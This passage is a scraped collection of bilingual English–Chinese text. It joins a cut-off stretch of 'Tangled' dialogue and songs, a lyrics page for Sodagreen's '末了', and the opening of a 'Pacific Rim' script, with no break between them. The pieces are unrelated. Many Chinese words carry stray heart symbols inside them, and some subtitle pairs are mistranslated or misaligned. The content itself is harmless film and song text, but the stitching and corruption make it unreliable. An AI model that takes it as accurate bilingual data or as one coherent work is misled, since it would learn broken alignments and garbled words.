fangs. But what choice do I have?他不是吸血鬼啊,我又能怎么办呢?(SIGHS)Okay, Flynn Rider, I'm prepared to offer you a deal.好吧,福林·瑞德,咱们做个交易吧- Deal? - Look this way.- 交易?- 看这里(EX CLAIMING)Do you know what these are?你知道这些是什么吗?You mean the lantern thing they do for the princess?你说的是他们为公主放的孔明灯?Lanterns? I knew they weren't stars.孔明灯?我就知道不是星星Well, tomorrow evening,好吧,明晚they will light the night sky with these lanterns.他们又会用灯笼点亮夜空You will act as my guide, take me to these lanterns,你给我当向导,带我去看灯and return me home safely.然后再把我安全送回家Then, and only then, will I return your satchel to you.然后我就把包还给你That is my deal.你觉得怎么样?Yeah.这个啊(GRUNTING)No can do.没门儿Unfortunately the kingdom and I aren't exactly simpatico at the moment,非常不幸,那个国王和我的关系很不…“和谐”so I won't be taking you anywhere.所以我哪里都不能带你去Something brought you here, Flynn Rider.是上天带你来这儿的,福林·瑞德Call it what you will,你怎么说都行- fate, destiny... - A horse.- 天数,命运…- 是一匹马So I have made the decision to trust you. 所以我选择相信你A horrible decision, really.这可不是什么好主意,真心这么觉得But trust me when I tell you this.但是相信我的话You can tear this tower apart brick by brick,哪怕你把这个塔给拆了but without my help, you will never find your precious satchel.没我的帮助,你绝对找不到你那宝贝包的(CLEARS THROAT)Let me get this straight.直说吧I take you to see the lanterns, bring you back home,我带你去看孔明灯,再送你回家and you'll give me back my satchel?然后你把包还给我?I promise.我保证And when I promise something, I never, ever break that promise.决不食言- Ever. - (SQUEAKS IN AGREEMENT)绝对All right, listen. I didn't want to have to do this,好吧,听着,这事并不是非做不可but you leave me no choice.但我别无选择Here comes the smoulder.我很生气This is kind of an off day for me. This doesn't normally happen.我本来今天休息的,平时我绝对不是这样的Fine! I'll take you to see the lanterns.好吧!我带你去看孔明灯Really?真的?Oops.不好意思(GASPING) You broke my smoulder.你真扫兴(GRUNTING)Are you coming, blondie?下来吧,金发美眉?(SINGING) Look at the world so close And I'm halfway to it世界如此之近,我就要触碰它Look at it all so big Do I even dare看它如此之大,我真的有勇气吗?Look at me, there at last I just have to do it看看自己,我终于美梦成真Should I? No Here I go我该做吗?不!我来了(GRUNTS)(CHUCKLES)(LAUGHING)(LAUGHING)Just smell the grass, the dirt Just like I dreamed they'd be青草和泥土的芬芳,一如梦中一样Just feel that summer breeze The way it's calling me感受夏天的清风,它在召唤我(GASPS)For, like, the first time ever I'm completely free第一次,我自由了I could go running and racing我可以奔跑,疾走And dancing and chasing 舞蹈,追逐And leaping and bounding Hair flying, heart pounding跳跃,猛冲,发丝飞舞,心跳动And splashing and reeling and finally feeling水滴飞溅,天旋地转,终于感觉到That's when my life begins生命从此真正开始I can't believe I did this!真不敢相信我做到了!(GASPS) I can't believe I did this.真不敢相信(LAUGHING) I can't believe I did this!真不敢相信!Mother would be so furious.妈妈一定会大发雷霆的But that's okay. What she doesn't know won't kill her, right?没事儿,她什么都不知道,对吧?(CRYING) Oh, my gosh! This would kill her.天啊!她一定会伤心欲绝的This is so fun!太好玩儿了!I am a horrible daughter. I'm going back. 我是个坏女孩,我应该回去(LAUGHING) I am never going back!我再也不回去了!I am a despicable human being!我真是一个坏人!(WHOOPING)Best day ever!最赞的一天!(CRYING)(CLEARS THROAT)You know, I can't help but notice you seem话说,我觉得你似乎a little at war with yourself here.有一点儿纠结- What? - I'm only picking up bits and pieces.- 什么?- 我是觉得这些都是小事儿Overprotective mother, forbidden road trip. This is serious stuff.保护欲过强的妈妈,不让你出门,是很严重But let me ease your conscience. This is part of growing up.但别焦虑,这是成长的一部分A little rebellion, a little adventure, that's good. Healthy, even.有点叛逆,喜欢冒险,其实挺好甚至很健康(CHUCKLES) You think?你真这样觉得?I know. You're way over-thinking this, trust me.是啊,你想的太多了,相信我Does your mother deserve it? No.你妈活该受这个罪么?当然不Would this break her heart and crush her soul? Of course. 这会让她悲痛欲绝吗?当然会But you've got to do it.但你还是得这么做"Break her heart"?“伤她的心”?- In half. - "Crush her soul"?- 心会碎成两半- “还得欲绝”?Like a grape.像捏葡萄一样She would be heartbroken. You're right. 她会心碎的,你说的没错I am, aren't I? Oh, bother.没错,是吧?对啊,你何苦呢All right. I can't believe I'm saying this, but I'm letting you out of the deal.我也不想这么说但是我们还是把交易取消吧- What? - That's right, but don't thank me.- 什么?- 没错,不过不用谢我Let's turn around and get you home. Here's your pan, here's your frog.我带你回家,给你锅,还有你的青蛙I get back my satchel,我拿回我的背包you get back a mother-daughter relationship based on mutual trust,你继续做你的乖女儿,相互信任and voilà, we part ways as unlikely friends.然后,就这样,咱们永世再不相见No. I am seeing those lanterns.不行,我要去看那些孔明灯Oh, come on! What is it going to take for me to get my satchel back?得了吧!你究竟想怎么样才能把背包还我?I will use this.我会用这个哦- (TWIG SNAPPING) - (PASCAL SQUEALS)(GASPS) Is it ruffians? Thugs? Have they come for me?流氓?坏蛋?他们来抓我的?Stay calm. It can probably smell fear.淡定,它可能感受到了你的恐惧Oh! (CHUCKLES)噢!Sorry. Guess I'm just a little bit jumpy. 不好意思,我可能有点儿神经兮兮的Probably be best if we avoid ruffians and thugs, though.我们最好能躲开流氓和坏蛋(CHUCKLES SELF-CONSCIOUSLY) Yeah, that would probably be best.是啊,这样最好Are you hungry? I know a great place for lunch.饿了吗?我知道一个吃午饭的好地方(CHUCKLES) Where?在哪里?Oh, don't you worry. You'll know it when you smell it.别担心,到了你就知道了(SNIFFING) (GRUNTS) (GROWLING) (NEIGHS)(TWIG SNAPS) (GRUNTS) (CHUCKLING SOFTLY) (FOOTSTEPS APPROACHING) (NEIGHING MENACINGLY) (GASPS)(EXHALES)A palace horse.宫里的马Where's your rider?你主人呢?Rapunzel.是来找长发公主的Rapunzel!长发公主!(NEIGHS IN CONFUSION) Rapunzel! Let down your hair! 心肝!把你的头发放下来!Rapunzel?你在吗?(PANTING) (GRUNTING) (POUNDING)Rapunzel?宝贝,你在吗?Rapunzel!宝贝!(GASPS)(GASPS)I know it's around here somewhere.就在这附近啊Ah, there it is! The Snuggly Duckling. 看,就这里!小鸭子餐厅Don't worry. Very quaint place. Perfect for you.别担心,古色古香的地方,很适合你Don't want you scaring and giving up on this whole endeavour now, do we?现在放弃不是前功尽弃了吗,你说呢?- Well, I do like ducklings. - Yay!好吧,我挺喜欢小鸭子的(MEN CHATTERING)Gar? On, your finest table, please!服务生?最好的桌子,谢谢!(GASPS)You smell that? Take a deep breath through the nose. (INHALES DEEPLY)闻到了吗?深呼吸Really let that seep in. What are you getting?好好闻闻,闻到了什么?To me, it's part man-smell and the other part is really bad man-smell.要我说,这一半是男人的味道另一半是坏人的味道I don't know why, but overall it smells like the colour brown.不知道怎么,总之闻起来像棕色的- Your thoughts? - (GASPS) 你觉得呢?That's a lot of hair.好长的头发She's growing it out. Is that blood in your moustache?这都是长出来的,你胡子上的是血吗?Goldie, look at all the blood in his moustache!美女,快看,胡子上全是血唉!Good sir, that's a lot of blood!先生,血还真不少唉!(GROWLS)You don't look so good, blondie. Maybe we should get you home, call it a day. 你看上去不太好,美眉也许我该送你回家,收工了Probably better off. This is a five-star joint.还是走吧,这里可是五星级连锁店啊If you can't handle this place, maybe you should be back in your tower.如果你连这里都不适应也许你真该回你的塔楼上去了- (RAPUNZEL GASPS) - Is this you?这是你吗?FLYNN: (GRUNTS) Now they're just being mean.这可不好玩儿(CHUCKLES) It's him, all right.就是他,没错Greno, go find some guards.格雷诺,去找王宫侍卫That reward is going to buy me a new hook.赏钱可以让我换个新钩子了- I could use the money. - What about me? I'm broke!- 我要用这笔钱- 那我呢?我破产了!Get back!给我!- Mine! - Ruffians, stop!- 我的!- 嘿,停下!- We can work this out! - Hey! Leave him alone!- 我们可以解决这个问题!- 嘿!把她放下!Gentlemen, please!先生们,拜托!Give me back my guide! Ruffians!把我的向导给我!你们这些流氓!(EX CLAIMING)(GRUNTS)(EX CLAIMING)Not the nose! Not the nose!别打鼻子!别打鼻子!Put him down!把他放下!I don't know where I am, and I need him to take me to see the lanterns我不知道这里是什么地方但我要他带我去看孔明灯because I've been dreaming about them my entire life!因为我一生都在梦想着看到灯笼!Find your humanity! Haven't any of you ever had a dream?有点儿人性吧!难道你们就没有过梦想?I had a dream once.我有过梦想,曾经(PLAYING NERVOUSLY) (SINGING) I'm malicious, mean and scary 我长相狰狞,可怕,面露凶相My sneer could curdle dairy冷笑让牛奶凝固And violence-wise my hands are not the cleanest脾气暴躁,手也不干净But despite my evil look And my temper and my hook但除了长相,脾气和钩子I've always yearned to be a concert pianist我总是希望成为钢琴家(PLAYING PIANO)Can't you see me on the stage performing Mozart在舞台上演奏莫扎特Tickling the ivories till they gleam轻抚象牙琴键直到他们发出光芒Yep, I'd rather be called deadly For my killer show tune medley没错,我弹奏杀手的音乐,渴望大声喝彩Thank you!谢谢!'Cause way down deep inside I've got a dream因为我的内心深处,我有一个梦想ALL: He's got a dream He's got a dream 他有个梦想,他有个梦想。
苏打绿《末了》歌词
苏打绿《末了》歌词
《末了》是苏打绿专辑《冬未了》中收录的歌曲,这首歌曲是由出唱吴青峰创作的,这是一首关于希腊罗马神话故事的歌曲,下面跟着小编一起看一下这首歌曲的歌词吧。
词:吴青峰
曲:吴青峰
推着上山巨石
亲爱薛西佛斯
不知道第几次
命运被他坚持
他午睡他狂欢
她教大地拾穗
而你靠你蹒跚
支撑自己轮回
You will be the star
You will be the one
I will be my star
You'll be the one
永恒回归不断
日光子夜循环
当他被吃了肝
其实你不孤单
You will be my one
You will be my star
I will be the one
You'll be my star
You'll be my star
你重扛巨石轻视着众神
你去否定了否定你的
虽然反复却渐渐懂得每一步都是自己的不爱永恒但求现在真实活着的人生
I will be the star
I will be the one You will be my star You'll be my one I will be your one I will be your star You will be my one You'll be my star We'll be the one。
《环太平洋(2013)》完整中英文对照剧本
怪兽来自日语猎人来自德语我还小的时候When I was a kid,只要感到孤独或渺小whenever I'd feel small or lonely,我就会仰望星空I'd look up at the stars.好奇那里会不会有外星人Wondered if there was life up there.结果我望错了方向Turns out I was looking in the wrong direction.外星人是从太平洋深底When alien life entered our world进入我们这个世界的it was from deep beneath the pacific ocean.在两个板块的缝隙中A fissure between two tectonic plates.产生了连接不同次元的通道A portal between dimensions.形成了一个穿越口The breach.第一只怪兽登陆旧金山那年I was fifteen when the first kaiju我只有十五岁made land in San Francisco.怪兽名:入侵者(Trespasser) 学名:斧首(Axe-head) 级别:未分级高度:92米体重:2700吨♥飞机坦克大炮轰了六天才将其打倒By the time tanks, jets and missiles took it down那时它已经推进了35英里six days and 35 Miles later,三座城市被它摧毁了three cities were destroyed.数以万计的生命遭其毒手Tens of thousands of lives were lost.我们哀悼死者We mourned our dead,纪念那次袭击memorialized the attack,生活依然继续着and moved on.接着只过了六个月And then, only six months later,马尼拉受到了第二只怪兽的袭击the second attack hit Manila.怪兽名:坏脑(Kaiceph) 数据不详怪兽血液中的酸性成分The acid factor of the kaiju blood造成了一种名为怪兽毒蓝的毒性现象creates a toxic phenomenon named kaiju blue.接着第三只袭击了圣卢卡斯角And then the third one hit Cabo.然后是第四只And then the fourth.至此我们方知进攻不会停止And then we learned this was not gonna stop.那只是开始This was just the beginning.我们需要新型武器来抵御We needed a new weapon.各国联合了起来集中资源The world came together, pooling its resources为了更大的共同利益and throwing aside old rivalries抛开了过去的竞争与敌对for the sake of the greater good.为了打败怪物我们制♥造♥了自己的怪物To fight monsters, we created monsters of our own.猎人计划诞生了The jaeger program was born.最开始遇到了一些挫折There were setbacks at first.实验证明与猎人的交互The neural load to interface with a jaeger对单一驾驶员的神经负荷过大proved too much for a single pilot.于是实施了双驾驶员系统A two-pilot system was implemented.分别操控左半球和右半球Left-hemisphere, right-hemisphere pilot control.之后我们开始打胜仗了We started winning.猎人虽在各地阻止了怪兽前进的脚步Jaegers stopping kaijus everywhere.猎人忧郁罗密欧(Romeo Blue) 第一代机甲产地美国出厂日期:2015年12月15日身高:69米重量:7775吨♥ 在美国地区服役的第一台机甲但猎人的实力取决于驾驶员的能力But the jaegers were only as good as their pilots.所以猎人驾驶员变成了明星So jaeger pilots turned into rock stars.危险变成了宣传Danger turned into propaganda.怪兽变成了玩具Kaijus into toys.忧郁罗密欧对阵苦难兽胜利对于我们而言We got really good at it.易如反掌Winning.突然Then...突然一切都变了Then it all changed.危险流浪者Gipsy Danger,到08号♥舱报道级别A42report to bay 08, level a-42.怪兽出现代号♥镰刀头三♥级♥怪兽Kaiju. Code name: Knifehead. Category 3.杨希醒醒穿越口有动静了Yo, Yancy, wake up! Movement in the breach.快起来上头让我们上场Hey, come on! We're being deployed.醒了早上好Great. Good morning.阿♥拉♥斯加 2020年怪兽战争第七年早啊Mornin'.是三♥级♥怪兽迄今遇到最大的Kaiju's a category 3, biggest one yet.代号♥是镰刀头Code name Knifehead.现在几点了What time is it?-两点 -走走走快点-Two. - Go, go, go! Move it!-凌晨吗 -对- A.M.? - Yep.怎么样What do you say?让它成为第五个手下亡魂吗Fifth notch on the belt?快点贝克特兄弟得走了Come on, Beckets. Time for the drop.-小子 -怎么- Hey, kid. - Yeah?别骄傲Don't get cocky.若在多年前Years before,你绝不会选我哥杨希和我来当英雄的you wouldn't have picked my brother Yancy and I for heroes. 绝不可能No chance.早上好长官Good morning, sir.好了穿上作战服好好表现一番All right, let's suit up and kick some ass!我们以前没那么强壮的We were never star athletes.在班里也不是优等生Never at the head of the class.但打架我们却是个中好手But we could hold our own in a fight.而且事实证明我们拥有一个独特的能力And it turned out we had a unique skill:我们的神经交互在一起了We were drift compatible.脊髓夹与人体相连以便机甲电脑读取脑电波好了All right.头盔载入数据Data on helmet.继电凝胶注入电路装甲服Data relay gel dispersing in circuitry suit.继电凝胶类似于电池的电解质传输彼此的意识和思维早上好贝克特小子们Good morning, becket boys!天童怎么样兄弟Tendo, what's happening, my man?昨晚和爱丽丝的约会怎么样了蔡先生How'd that date with Alison go last night, Mr. Choi?她当然爱我啦她男友就...Oh, she loved me. Her boyfriend? Not so much.你就等着被爆菊吧You're gonna get your ass kicked.男人应该做男人该做的事哥们A man's gotta do what a man's gotta do, brother.准备下落蔡先生Engage drop, Mr. Choi.正在准备下落长官Engaging drop, sir.彭蒂科斯将军到达指挥室Marshal Pentecost on deck.关闭操作舱Securing the conn pod.准备下落Gettin' ready to drop.操作舱关闭上锁Conn pod door lock secure.下落释放Release for drop.危险流浪者已准备好下落Gipsy Danger ready for the big drop.-出发了 -好- Here we go. - Yeah!我们出发了Here we go!对接交互成功长官Coupling confirmed, sir.进行驾驶员间交互Engage pilot-to-pilot protocol.正在进行Engaging now.启动驾驶员间交互程序Pilot-to-pilot connection protocol sequence.流浪者在六号♥舱准备发射Gipsy launch, bay 6.猎人危险流浪者(Gipsy Danger) 第三代机甲产地:阿♥拉♥斯加生产日期:2017年7月10日高度:79米重量:1980吨♥操作系统:"蓝星火"4.1 动力核心:"电弧9"核动力涡轮处理器危险流浪者已做好准备长官Gipsy Danger ready and aligned, sir.驾驶员们我是斯泰克·彭蒂科斯将军Rangers, this is Marshal Stacker Pentecost.准备神经交互Prepare for neural handshake.十五秒后开始Starting in 15 seconds.十四十三14... 13...十二十一十12, 11, 10...准备好进入我的脑海了吗小子Ready to step into my head, kid?九八七六9, 8, 7, 6...你先请Please, after you.尊老爱幼老先生Age before beauty, old man.启动驾驶员间交互程序Pilot-to-pilot connection protocol sequence.五四三5, 4, 3...-神经交互启动 -二一- Neural handshake initiated. - 2, 1.神经交互猎人的技术The drift. Jaeger tech.源于国防高级研究规划局的战机神经系统Based on DARPA jet fighter neural systems.两个驾驶员通过记忆进行精神融合Two pilots, mind-melding through memories与巨大的机甲躯体相连with the body of a giant machine.结合得越紧密The deeper the bond...战斗得越出色The better you fight.神经交互感应完美Neural handshake strong and holding.右半球正在校准Right hemisphere is calibrating.左半球正在校准Left hemisphere calibrating.通过验证传输中Proofed and transmitting.先生们你们的任务是Gentlemen, your orders are坚守安克雷奇最后防线明白吗to hold the miracle mile off Anchorage. Copy?收到长官Copy that, sir.长官海湾里还有一艘民用船Sir, there's still a civilian vessel in the Gulf...伙计们你们要保护的是两百万民众Gentlemen, you're protecting a city of 2 million people. 不能冒险营救只有十人的民船You will not risk those lives for a boat that holds 10.听明白没Am I clear?是长官Yes, sir兄弟那样太冷血了吧Man, that's cold.你知道我在想什么吧You know what I'm thinking.我在你的脑子里呢I'm in your brain.-我懂 -那我们去钓大鱼吧- I know. - Then let's go fishing.出发Here we go!来啊兄弟使点劲Come on, bro! Put some muscle to it!顾你自己吧小子Worry about yourself, kiddo!总有些事情你无法抵抗There are things you can't fight,比如天灾acts of God.看见飓风袭来You see a hurricane coming,你就得赶快躲开you have to get out of the way.但当你驾驶着猎人But when you're in a jaeger,你突然间就要能扛得住它suddenly, you can fight the hurricane.你能赢的You can win.阿♥拉♥斯加海岸线10英里处绑紧后赶快下来Get 'em tied down and go down below!快Now!离陆地还有多远How far to the mainland?离安克雷奇还有七英里船长7 Miles off Anchorage, sir.但我们不一定能到达浅海区域But we won't even make it past the shallows! 是的到不了No, we won't!那东边三英里的小岛呢What about that island 3 Miles east?不不只有两英里船长No! No! It's 2 Miles, sir.一...一英里了船长O-one mile, sir!越来越近了It's getting closer.搞啥会越来越近的?How the hell can it be getting closer?是怪兽Kaiju.右满舵Harder starboard!正在尽力I'm doing it as fast as I can!快Now!怪兽代号♥:镰刀头(Knifehead) 等级:第三♥级♥ 高度:96米重量:2700吨♥天啊Oh, God!这边又是什么鬼东西啊What the hell?抓稳啊Hang on!船只已安全Ship secure.-调整扭矩 -正在弄- Adjust the torque! - I'm on it.扭矩锁定Torque locked.抓住它快射它Get him. Come on. Shoot him.来了来了I'm on it! I'm on it!电流报告长官Discharge reading, sir.有等离子加农炮Plasma Cannon in the shallow shelves在距离海岸线七英里海域释放7 Miles off the coastal line.流浪者到底发生了什么Gipsy, what the hell is going on?任务完成长官打了两次Job's done, sir. Lit it up twice.我们的第五次击杀收入囊中Bagged our fifth kill.你们违抗了直接命令You disobeyed a direct order!不是有意冒犯长官Respectfully, sir,我们拦截了怪兽we intercepted a kaiju救了那条船上所有人and saved everyone on that boat.马上回到你们的位置去Get back to your post, now!是的长官Yes, sir.怪兽的生命信♥号♥♥在上升Kaiju signature rising!传感器检测无误Sensor checks.那东西还活着长官That thing's still alive, sir.流浪者Gipsy!我们还能收到生命信♥号♥♥ We're still getting a signature!那头怪兽还活着That kaiju is still alive!带上船离开那里Grab the boat and get out of there.听到了吗You copy?带上船立刻离开那里Grab the boat and get out of there now!-拿下它罗利 -我来- Take it, Raleigh! - I got this!指挥室我们被击中了Loccent, we're hit!左臂失去控制了长官Left arm's gone cold, sir.外壳它打穿了外壳The hull! It went through the hull!罗利听我说你要...Raleigh, listen to me! You need...不不No! No!蓄电中Loading.第二次放电中断了所有通讯长官Second discharge fried all the comms, sir.我接收不到任何信♥号♥♥I'm not getting any signals.压力下降Pressure dropping!失去压力重复失去压力No pressure! Repeat: No pressure!没有生命信♥号♥♥了长官No signatures, sir.现在怎么办长官What do we do now, sir?现在我要你注意看探测器Now, I want you to keep your eye on that gauge there. 你知道我想找什么吗Now, you know what I'd like to find?我想找到一艘完整的船I'd like to find a whole ship.这就是我要找的That's what I'd like to find.等等等等Wait, wait!等等等等等等Wait, wait, wait, wait, wait!等下就在那就在那Wait! Right there, right there!挖吧Dig!这是什么Hey, what is it?只是个旧玩具It's just an old toy.我们总找不到什么好东西We never find anything good.听Listen.天啊Oh, my God.别过来Stay here!先生Mister?需要帮忙吗Can I help?杨希Yancy.杨希Yancy.快快去找人快Run! Get help, fast!会没事的It's gonna be all right.环太平洋怪兽了解了我们的防御方式The kaiju are learning our defenses.它们在适应在进化They're adapting. Evolving.我们损失猎人的速度比制♥造♥的速度更快And we're losing jaegers faster than we can build them.利马Lima.西雅图Seattle.符拉迪沃斯托克Vladivostok.现在从穿越口过来的是四级怪兽Category 4 kaijus are now coming through the breach.就算是你也能看得出来将军I think even you can see, marshal,这不再是良策了this is no longer a sound strategy.五年后阿♥拉♥斯加基地关闭日袭击的频率正在增加The frequency of the attacks has increased.而猎人不再是最效的防线了The jaegers are not the most viable line of defense anymore. 我意识到了I am aware.每次猎人倒下死的都是我的驾驶员Those are my rangers that die every time a jaeger falls,所以我才最后一次请求你which is why I'm asking you for one last chance...对不起将军对不起Excuse me, marshal. Excuse me!-最后一次倾尽全力作战 -听我说- one final assault with everything we've got. - Listen to me. 猎人计划已经终止了将军The jaeger program is dead, marshal.另一方面On the other hand,海岸线的筑墙计划是个更有效的选择the coastal wall program is a promising option.全世界都很感激The world appreciates你和你的手下所做的一切all that you and your men have done,但是已经结束了but it's over.我们授权你带所有剩下的猎人We will authorize you to take all remaining jaegers到最后一个作战基地香港to the last battle station: Hong Kong.我们准备接下来八个月继续给你拨款We're prepared to fund you for the next eight months直到海防城墙建好while the coastal wall is completed.之后我们就会停止拨款了After that, you will receive no further support.这就是最终决定将军You have your answer, Marshal.就这样结束了?So that's it?结束了吗It's over?西装革履口蜜腹剑Suits and ties, flashy smiles.他们就是这样一群人斯泰克That's all they are, Stacker.我们不需要他们We don't need 'em.阿♥拉♥斯加州锡特卡生命之墙反怪兽墙按工分配定量供应卡伙计们Ration cards, guys!快来快来啊Come on, come on!咱们走Let's go!伙计们我这里有一条好消息和一条坏消息Now, I got good news and I got bad news, fellas.你们想先听哪一个Which one you wanna hear first?坏消息Bad news!坏消息就是Bad news:昨天有三名工人在城墙顶上工作时死了Three guys died yesterday working the top of the wall.那好消息是什么What's the good news?好消息是The good news is,我这里现在缺三个人手I got three new job openings.在城墙顶上Top of the wall.好了谁想要这份工作谁想填饱肚子Okay, who wants to work? Who wants to eat?来吧Come on!我现位于悉尼今天早些时候I am here in Sydney, where earlier today,又发生了一起怪兽袭击事件yet another Kaiju attack took place.巨大的四级怪兽The Kaiju,an enormous Category 4,用了不到一小时就冲破了海防城墙broke through the coastal wall in less than an hour.怪兽代号♥:病毒(Mutavore) 等级:4级高度:90米重量:2630吨♥ 生命之墙曾被其建造者称作是The wall of life had been deemed unbreachable坚不可摧的by its builders.我们建这破墙究竟有什么用Why the hell are we even buildin' this thing?这些生物从悉尼湾攻入了城市The creature entered the city through Sydney cove.那那家伙That ... that thing竟然就那么简单地攻破了城墙went through the wall like it was nothing.赫克·汉森和查克·汉森The recently decommissioned Jaeger, Striker Eureka,驾驶着刚刚退役的猎人尤里卡突袭者piloted by Herc and Chuck Hansen,最终打败了怪兽that finally took the beast down.猎人尤里卡突袭者(Striker Eureka) 第五代机甲产地:悉尼生产日期:2019年11月22日重量:1850吨♥ 高度:76米操作系统:"航者12"战术控制舱动力核心:X12超级单体内核涡轮驱动由于没有出色的驾驶员Look, they decommissioned the Jaeger program导致他们终止了猎人计划because of mediocre pilots.就这么简单It's that simple.这是尤里卡突袭者的第十次胜利That's Striker Eureka's tenth kill to date.又一次刷新了纪录It's a new record.在现在这种局势下And you're still going to Hong Kong,你还要坚持去香港吗even at a time like this?军令如山Well, orders are orders.我能有什么办法What else am I supposed to do?别这样哥们Come on, mate.查克·汉森就是驾驶尤里卡突袭者Chuck Hansen, one of the pilots of Striker Eureka,打败怪兽的驾驶员之一the Jaeger that took down the Kaiju.贝克特先生Mr. Becket.将军您看起来不错嘛Marshal. Looking sharp.好久不见Long time.五年零四个月了Five years, four months.聊两句吧Can I have a word?注意每个区域要三名焊工Attention,all zone three welders.将军这就是我的办公室了Step into my office, Marshal.找到你可真不容易Took me a while to find you.什么偏僻的地方都找了Anchorage,Sheldon Point,nome...我这种人每天在各地的防御工事上yeah, a man in my position travels with the wall, 辗转谋生chasing shifts to make a livin'.你找我♥干♥什么What do you want?在过去的六个月里I've spent the last six months我到处寻找可用的机器activating everything I can get my hands on.终于找到有一个三代的猎人了There's an old Jaeger,a Mark 3.你也知道它需要一个驾驶员You may know it. It needs a pilot.我想我应该不是你的最佳人选吧I'm guessing I wasn't your first choice.你确实是最佳人选You are my first choice.所有三代机的驾驶员都牺牲了All the other mark 3 pilots are dead.听着Look...我不会再让别人进入我的大脑了I can't have anyone else in my head again.我受够了I'm done.我哥哥死的时候我和他还是一体的I was still connected to my brother when he died. 我再也无法承受那种痛苦了抱歉I can't go through that again, man, I'm sorry.你听说了吗贝克特先生Haven't you heard, Mr. Becket?这个世界就要完蛋了The world is coming to an end.你想死在什么地方So where would you rather die?!死在这里还是在猎人上Here, or in a Jaeger?!香港 18时破碎穹顶猎人基地贝克特先生这位是森真子Mr. Becket,this is Mako Mori.我们最优秀的人员之一One of our brightest.主管三代机系列的修复工作Also in charge of the Mark 3 restoration program. 她特意为你挑选了几位副驾驶候选人She personally handpicked your copilot candidates. 他和我想象中的不太一样比你想的更好还是更糟对不起贝克特先生久仰你大名了放松点At ease.先熟悉一下这里的环境We will tour the facility first之后真子小姐会带你去看你的猎人and then Miss mori will show you to your Jaeger, 贝克特先生Mr. Becket.-等等我们 -别关门啊- Wait for us, please! - Hold the door, please!谢谢谢谢Thank you. Thank you. Thank you.退后怪兽样本十分珍贵Stay back! Kaiju specimens are extremely rare,只能看不能摸so look but don't touch, please.贝克特先生这是我们的研究小组Mr. Becket, this is our research team.戈特利布博士和葛泽尔博士Dr. Gottlieb and Dr. Geiszler.不要这样叫我牛顿就好Oh, no, call me Newt.只有我妈妈才会叫我博士Only my mother calls me doctor.赫尔曼他们不是怪兽Hermann, these are human beings.过来打个招呼Why don't you say hello?我告诉过你I have asked you not to refer to me不要在别人面前叫我的名字by my first name around others.我可是有十几年专业经验的博士I am a doctor with over 10 years decorated experience... -没错 -我是有十年经验了- Oh, no. - Yes. I have ten 10 years of experience, man. 抱歉I'm very sorry.少来了Oh, please.这是哪只山岚吗[三♥级♥怪兽]Who is that, Yamarashi?这只小怪兽吗Oh, this little Kaiju?你眼力不错Yeah, you got a good eye.我和我哥哥在2017年击败了它My brother and I took him down in 2017.你知道它是三♥级♥怪兽中个体最大的吗You know he was one of the biggest category 3s ever? 太了不起了足足有2500吨♥重He was 2,500 tons of awesome.其实也什么Or awful.算了随你怎么说You know, whatever you wanna call it.原谅他吧Yes, please excuse him.他是个怪兽迷他喜欢He's a Kaiju groupie. He loves...闭嘴赫尔曼我不喜欢这玩意儿Shut up, Hermann, I don't love them, okay? 我只是在研究它们I study them.和大多数人不同And unlike most people,我只希望有天能接触到活体I wanna see one alive and up close one day. 相信我你到时会后悔的Trust me, you don't want to.这就是你的研究部门吗So that's your research division?一切都不同了Things have changed.我们不再是军队的一部分贝克特先生We're not an army anymore, Mr. Becket.我们是抵抗者We're the resistance.欢迎来到破碎穹顶Welcome to the Shatterdome.战争之钟War clock.每次怪兽袭击后我们都会重新调整它的时间We reset it after every Kaiju attack.让我们时刻保持警觉Keeps everyone focused.袭击的频率在加快The frequency of attacks is accelerating.距离下一次又要多久呢How long till the next reset?幸运的话一周吧A week, if we're lucky.专家们认为在这之前还会有一次My experts believe there'll be a Kaiju attack 怪兽袭击even before that.以前这里曾停放过30台This complex used to lodge 30 Jaegers和这台一样的猎人five bays just like this one.现在我们只剩下4台猎人了Now we only have four Jaegers left.我没想到事情会发展到这么糟I didn't know it was this bad.就是这么糟It is that bad.中国的暴风赤红Crimson Typhoon, China.猎人暴风赤红第♥四♥代♥机甲最强的猎人之一One of the greatest.在常州装配完成Assembled in Changzhou.全钛打造不含合金Full titanium core, no alloys.产地:中国生产日期:2018年8月22日每股肌肉由50台柴油发动机驱动Fifty diesel engines per muscle strand.精确致命的战士Deadly, precise fighter.高度:76米重量:1722吨♥操作系统:"三阳"地平线闸道器动力核心:"午夜"环形处理核心涡轮活塞式驱动它由魏氏兄弟驾驶She's piloted by the Wei Tang brothers.他们是三胞胎Triplets.而且是当地人Local lads.他们曾七次成功地保卫了香港港口They've successfully defended Hong Kong port seven times.他们采取雷云整形They use the thundercloud formation.三臂操作Oh, yeah. Triple-arm technique.效果显著Very effective.那是最后一辆T90S坦克了That tank, last of the t-90s.切尔诺阿尔法第一代机Cherno Alpha. First generation Mark 1.猎人切尔诺阿尔法第一代机甲是现役最老最重的猎人The heaviest and oldest Jaeger in the service.产地:海参崴生产日期:2015年从不出错贝克特先生But make no mistake, Mr. Becket,高度:84米重量:2412吨♥这是台残忍♥的战争机器it's a brutal war machine.这两个人And those two,操作系统:"红眼9"核心处理器动力核心:"眩晕核心88" 电力驱动萨沙和阿莱克斯·卡德诺夫斯基.Sasha and Aleksis Kaidanovksy.我听说过他们两个Yeah, I've heard of 'em.在西伯利亚城墙外♥围♥巡逻Perimeter patrol, Siberian wall.他们在那里守卫了六年On thie watch it stayed unbreached for six years.整整六年Six years.赫克查克Herc! Chuck!先生们欢迎来到香港Gentlemen, welcome to Hong Kong!在这儿等着Wait here.麦克斯到这里来Max! Come here!还记得我吗Remember me?别对着真子小姐犯花痴了Don't drool all over Miss Mori. Hi.它一看到漂亮小妞就激动Sees a pretty girl and he gets all wound up.罗利这位是赫拉克勒斯·汉森Raleigh, this is Hercules Hansen,第一代机甲时代的老朋友an old friend from the mark 1 glory days.我知道你我们以前共事过I know you, mate. We rode together before.2019年12月19日马尼拉四级怪兽首次露面美国"流浪者" 中国”地平线勇士“ 澳大利亚“尤里卡突袭者”合作将其击败是的长官六年前我和哥哥We did, sir. Six years ago. My brother and I.那是个三台猎人的团队协作任务It was a three Jaeger team drop.没错在马尼拉That's right. Manila.你哥哥的事我很难过Sorry about your brother.多谢关心长官Thank you, sir.赫克和他儿子查克将是转折点Herc and his son Chuck'll be runnin' point他们驾驶尤里卡突袭者usin' Striker Eureka.这是世界上跑得最快的猎人Fastest Jaeger in the world.第一台也是最后一台五代机甲First and last of the Mark 5s.在悉尼遭袭前一天Australia decommissioned it a day澳大利亚才宣布它退役before the Sydney attack.对啊幸好我们还未离开Yeah, it was lucky we were still around. 